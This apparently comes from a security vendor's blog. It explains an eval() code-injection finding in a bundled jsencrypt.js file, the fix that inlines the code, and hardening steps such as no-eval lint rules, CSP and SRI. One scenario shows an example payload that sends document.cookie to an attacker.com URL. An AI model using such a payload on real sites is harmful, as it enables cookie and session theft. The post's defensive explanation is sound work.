Back to Blog
critical SEVERITY9 min read

How eval() Code Injection happens in JavaScript and how to fix it

A critical code injection vulnerability was discovered in `js/lib/jsencrypt.js` at line 195, where a direct `eval()` call executed a JavaScript string shim for the `process` object in browser environments. If an attacker could influence the string passed to `eval()`—through a compromised dependency, a man-in-the-middle attack, or supply chain tampering—they could achieve arbitrary JavaScript execution in any user's browser. The fix replaces the `eval()` call with the equivalent inline JavaScript

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This vulnerability is a CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code, a.k.a. "eval injection") in JavaScript within the jsencrypt.js library. At line 195, a webpack-bundled module used `eval()` to execute a `process` object shim as a string, meaning any attacker who could tamper with that string—via a supply chain attack, CDN compromise, or man-in-the-middle—could run arbitrary JavaScript in users' browsers. The fix inlines the shim code directly, removing the `eval()` call entirely and eliminating the dynamic code execution risk without changing any behavior.

Vulnerability at a Glance

cweCWE-95
fixReplaced the eval() call with the equivalent inline JavaScript code
riskArbitrary JavaScript execution in the user's browser context
languageJavaScript
root causeA webpack-bundled module used eval() to execute a process-object shim string at runtime
vulnerabilityeval() Code Injection (Eval Injection)

The Problem with eval() in a Cryptography Library

The js/lib/jsencrypt.js file is responsible for RSA encryption in the browser—it wraps the popular JSEncrypt library and is a foundational piece of any application that uses it for key exchange or credential protection. That makes a code injection vulnerability inside it especially alarming.

At line 195 of jsencrypt.js, a webpack-bundled module contained this pattern:

eval("// shim for using process in browser\nvar process = module.exports = {};\n\n// cached from whatever global is present so that test runners that stub it\n// don't break things. ...");

This single eval() call executes a multi-line JavaScript string that defines a process object shim—a common polyfill for running Node.js-style code in the browser. On its own, the string is benign. But the use of eval() to execute it creates a critical attack surface: any mechanism that can alter the string before it reaches eval() can execute arbitrary JavaScript in the user's browser.


The Vulnerability Explained

What eval() Does—and Why It's Dangerous

JavaScript's eval() function takes a string and executes it as live JavaScript code in the current scope. It was historically used in bundlers, polyfills, and dynamic module loaders, but it is widely considered dangerous because:

  1. It bypasses static analysis. Code inside an eval() string is invisible to most linters, type checkers, and security scanners until runtime.
  2. It creates a universal code execution sink. Any attacker who controls the input string can run any JavaScript—steal cookies, exfiltrate tokens, redirect the user, or install a persistent XSS payload.
  3. It defeats Content Security Policy. Applications that use eval() cannot safely set script-src without unsafe-eval, weakening their entire CSP posture.

The Specific Vulnerable Pattern

The vulnerable code is inside a webpack module wrapper:

/***/ ((module) => {

eval("// shim for using process in browser\nvar process = module.exports = {};\n\n...\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n    throw new Error('setTimeout has not been defined');\n}\n...");

/***/ })

The string passed to eval() is a well-known process browser shim (from the npm process package). In its original, unmodified form, it is harmless. The danger lies in how it arrives at runtime.

How an Attacker Could Exploit This

Consider three realistic attack scenarios specific to this file:

Scenario 1 — Supply Chain Compromise
If the npm package or CDN serving jsencrypt.js is compromised (a common supply chain attack vector), an attacker can modify the string argument to eval() before it reaches users. Because the code is already calling eval(), no additional injection step is needed—the attacker simply replaces the benign shim string with malicious JavaScript:

// Attacker-modified version of the eval() argument:
eval("document.location='https://attacker.com/steal?c='+document.cookie");

Every user who loads the page executes this code in their browser, with full access to the page's DOM, cookies, and local storage.

Scenario 2 — Man-in-the-Middle (MitM) on Non-HTTPS Delivery
If the application serves jsencrypt.js over HTTP (or via a CDN without Subresource Integrity), a network-level attacker can intercept and modify the file in transit, replacing the eval() string payload before it reaches the browser.

Scenario 3 — Prototype Pollution or DOM Clobbering
In complex JavaScript environments, prototype pollution vulnerabilities in other libraries could potentially influence the string value before it reaches eval(), turning a separate, lower-severity bug into remote code execution.

Real-World Impact for This Application

Because jsencrypt.js is a cryptography library used for RSA operations, it is likely loaded on pages that handle sensitive operations—login, key exchange, or credential management. Arbitrary code execution in this context means an attacker could:

  • Silently exfiltrate private keys or plaintext credentials before encryption occurs.
  • Intercept form submissions on authentication pages.
  • Persist a malicious script that survives page navigation via localStorage or sessionStorage.

The Fix

The fix is conceptually simple and surgically precise: replace the eval() call with the equivalent inline JavaScript code. Instead of passing the shim as a string to be evaluated at runtime, the code is written directly into the module body so it is parsed and compiled statically, like all other JavaScript in the bundle.

Before (Vulnerable)

/***/ ((module) => {

eval("// shim for using process in browser\nvar process = module.exports = {};\n\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n    throw new Error('setTimeout has not been defined');\n}\nfunction defaultClearTimeout () {\n    throw new Error('clearTimeout has not been defined');\n}\n(function () {\n    try {\n        if (typeof setTimeout === 'function') {\n            cachedSetTimeout = setTimeout;\n        } else {\n            cachedSetTimeout = defaultSetTimout;\n        }\n    } catch (e) {\n        cachedSetTimeout = defaultSetTimout;\n    }\n    ...\n} ())\n...");

/***/ })

After (Fixed)

/***/ ((module) => {

// shim for using process in browser
var process = module.exports = {};

var cachedSetTimeout;
var cachedClearTimeout;

function defaultSetTimout() {
    throw new Error('setTimeout has not been defined');
}
function defaultClearTimeout () {
    throw new Error('clearTimeout has not been defined');
}
(function () {
    try {
        if (typeof setTimeout === 'function') {
            cachedSetTimeout = setTimeout;
        } else {
            cachedSetTimeout = defaultSetTimout;
        }
    } catch (e) {
        cachedSetTimeout = defaultSetTimout;
    }
    try {
        if (typeof clearTimeout === 'function') {
            cachedClearTimeout = clearTimeout;
        } else {
            cachedClearTimeout = defaultClearTimeout;
        }
    } catch (e) {
        cachedClearTimeout = defaultClearTimeout;
    }
} ())
// ... remainder of shim inlined directly

/***/ })

Why This Fix Works

The behavior is 100% identical—the same process shim runs in both cases. The critical difference is that the inlined version:

  1. Cannot be injected into. There is no string being parsed at runtime. The code is compiled statically by the JavaScript engine at load time.
  2. Is visible to static analysis tools. Linters, SAST scanners, and bundler tree-shaking can now inspect and optimize this code.
  3. Enables strict CSP. With eval() removed, the application can set Content-Security-Policy: script-src 'self' without requiring 'unsafe-eval', hardening the entire application against XSS.
  4. Is scoped to one file. The PR confirms the change is limited to js/lib/jsencrypt.js and the build passes without modification, meaning no behavioral regression was introduced.

Prevention & Best Practices

1. Ban eval() at the Linter Level

Add the ESLint no-eval rule to your project configuration:

// .eslintrc.json
{
  "rules": {
    "no-eval": "error",
    "no-implied-eval": "error"
  }
}

no-implied-eval also catches setTimeout("code string", 0) and setInterval("code string", 0), which are functionally equivalent to eval().

2. Enforce Content Security Policy Without unsafe-eval

Once eval() is removed from your codebase, you can enforce a strict CSP:

Content-Security-Policy: script-src 'self' 'nonce-{random}'; object-src 'none';

This provides defense-in-depth: even if an eval() call were somehow reintroduced, the browser would refuse to execute it.

3. Use Subresource Integrity (SRI) for Third-Party Scripts

If jsencrypt.js or any other library is loaded from a CDN, always include an integrity attribute:

<script
  src="https://cdn.example.com/jsencrypt.min.js"
  integrity="sha384-[base64-hash]"
  crossorigin="anonymous">
</script>

SRI ensures the browser rejects any file that has been tampered with in transit.

4. Audit Webpack Bundles for eval()

Webpack's devtool option can introduce eval() in development builds (e.g., devtool: 'eval-source-map'). Ensure production builds use devtool: 'source-map' or false:

// webpack.config.js
module.exports = {
  mode: 'production',
  devtool: 'source-map', // NOT 'eval' or 'eval-source-map'
};

5. Pin and Audit Dependencies

Supply chain attacks targeting eval()-heavy bundles are a documented threat. Use npm audit, Dependabot, or a software composition analysis (SCA) tool to monitor for compromised packages. Consider using npm ci with a locked package-lock.json in CI/CD pipelines.

Relevant Standards

  • OWASP Top 10 A03:2021 – Injection: eval() injection is a direct instance of this category.
  • CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ("Eval Injection").
  • OWASP Cheat Sheet – Injection Prevention: Recommends avoiding dynamic code evaluation entirely.

Key Takeaways

  • eval() in a cryptography library is a worst-case scenario: jsencrypt.js handles RSA operations on sensitive pages. An eval injection here gives attackers access to keys and credentials before they are ever encrypted.
  • Webpack-bundled eval() strings are a supply chain attack vector: The shim string in this module is benign today, but any mechanism that modifies jsencrypt.js before delivery—CDN compromise, MitM, or dependency tampering—turns this eval() into arbitrary code execution.
  • Inlining the code is always safer than eval()-ing a string: The fix proves that the process shim works perfectly as static inline code. There was never a functional reason to use eval() here.
  • Removing eval() unlocks stricter CSP: This single fix enables the application to drop unsafe-eval from its Content Security Policy, hardening the entire app against XSS.
  • Static analysis can and should catch this: The no-eval ESLint rule and Semgrep patterns for eval() would have flagged line 195 automatically—adding these to CI prevents regressions.

How Orbis AppSec Detected This

  • Source: The tainted string originates inside a webpack module wrapper in js/lib/jsencrypt.js, where a JavaScript string literal containing the process browser shim is passed directly to eval().
  • Sink: eval(...) at js/lib/jsencrypt.js:195—a direct dynamic code execution call with a string argument that could be influenced by supply chain or network-level tampering.
  • Missing control: No static inlining of the shim code; no CSP restriction on unsafe-eval; no Subresource Integrity to detect tampering with the file.
  • CWE: CWE-95 — Improper Neutralization of Directives in Dynamically Evaluated Code ("Eval Injection").
  • Fix: The eval() call and its string argument were replaced with the equivalent JavaScript code written inline directly into the webpack module body.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The eval() call in jsencrypt.js is a textbook example of how a seemingly low-risk legacy pattern can become a critical vulnerability in a sensitive context. The process shim it executed was harmless—but the mechanism used to execute it was not. By inlining the shim code directly, the fix eliminates the dynamic execution surface entirely, enables stricter Content Security Policy enforcement, and makes the code fully visible to static analysis tools—all without changing a single byte of runtime behavior.

For developers maintaining JavaScript libraries or working with webpack bundles: audit your bundles for eval() calls, especially in production builds. The no-eval ESLint rule costs nothing to enable and can prevent a critical vulnerability from shipping. When you find an eval() call executing a known, static string, the fix is almost always as simple as this one: just write the code inline.


References

Frequently Asked Questions

What is eval() code injection?

eval() code injection (CWE-95) occurs when JavaScript's eval() function executes a dynamically constructed or externally influenced string as code, allowing an attacker who controls that string to run arbitrary JavaScript in the victim's browser or runtime environment.

How do you prevent eval() injection in JavaScript?

Never use eval() to execute strings that could be influenced by external input. Replace eval() calls with equivalent inline code, use JSON.parse() only for data (not code), and enable Content Security Policy (CSP) headers with script-src directives that block eval().

What CWE is eval() injection?

eval() injection maps to CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ("Eval Injection").

Is a Content Security Policy (CSP) enough to prevent eval() injection?

CSP with `unsafe-eval` blocked is a strong mitigation, but it is not a substitute for removing eval() from source code. The correct fix is to eliminate eval() entirely; CSP is a defense-in-depth layer, not a root-cause fix.

Can static analysis detect eval() injection?

Yes. Static analysis tools like Semgrep, ESLint (with the no-eval rule), and dedicated SAST scanners can reliably flag direct eval() calls in JavaScript source and bundled files.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #11

Related Articles

critical

How Server-Side Template Injection happens in Node.js EJS and how to fix it

CVE-2022-29078 is a critical server-side template injection (SSTI) vulnerability in EJS versions prior to 3.1.7, where the `outputFunctionName` option is passed directly into generated code without sanitization, allowing attackers to execute arbitrary JavaScript on the server. The fix upgrades the EJS dependency from 2.7.4 to 3.1.7+ (resolved here as 6.0.1), eliminating the unsafe code generation path. Any Node.js application rendering EJS templates with user-influenced options is at risk of ful

high

How Prototype Pollution happens in JavaScript via defu and how to fix it

CVE-2026-35209 is a high-severity prototype pollution vulnerability in the `defu` JavaScript library (versions prior to 6.1.5), where a crafted `__proto__` key in the defaults argument can corrupt the global Object prototype. The fix upgrades `defu` from 6.1.4 to 6.1.5 in `pnpm-lock.yaml` and enforces the version via a workspace override, closing the attack surface in production code that depends on `defu` for deep object merging.

high

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

high

How Prototype Pollution happens in Node.js and how to fix it

A high-severity prototype pollution vulnerability (CVE-2020-8203) was identified in the lodash library via the `zipObjectDeep` function, present as a transitive dependency through postcss in the project's `yarn.lock`. The fix upgrades postcss from 8.5.8 to 8.5.12 using a Yarn resolution override, eliminating the vulnerable lodash code path and reducing the attack surface against crafted CSS input. This change protects the application from object prototype manipulation that could lead to informat

critical

How Prototype Pollution happens in Node.js protobufjs and how to fix it

CVE-2023-36665 is a critical prototype pollution vulnerability in protobufjs that allows attackers to corrupt JavaScript's Object prototype by crafting malicious protobuf messages. The vulnerability existed in protobufjs 6.11.3 and was resolved by upgrading to 6.11.4 (and 7.2.5 for the v7 branch). Applications that parse user-supplied protobuf data are directly at risk of runtime behavior manipulation, privilege escalation, or denial of service.

critical

How Plaintext Credential Storage Happens in Node.js Config Files and How to Fix It

A critical vulnerability in `config.js` allowed OAuth tokens and user IDs to silently fall back to empty strings when environment variables were unset, enabling credential bypass and potential hardcoded secret exposure. The fix removes the `|| ""` fallback pattern, ensuring credentials are either properly set or explicitly `undefined`, and updates downstream checks to use truthy evaluation instead of empty-string comparison. This change closes a subtle but dangerous gap that could have allowed A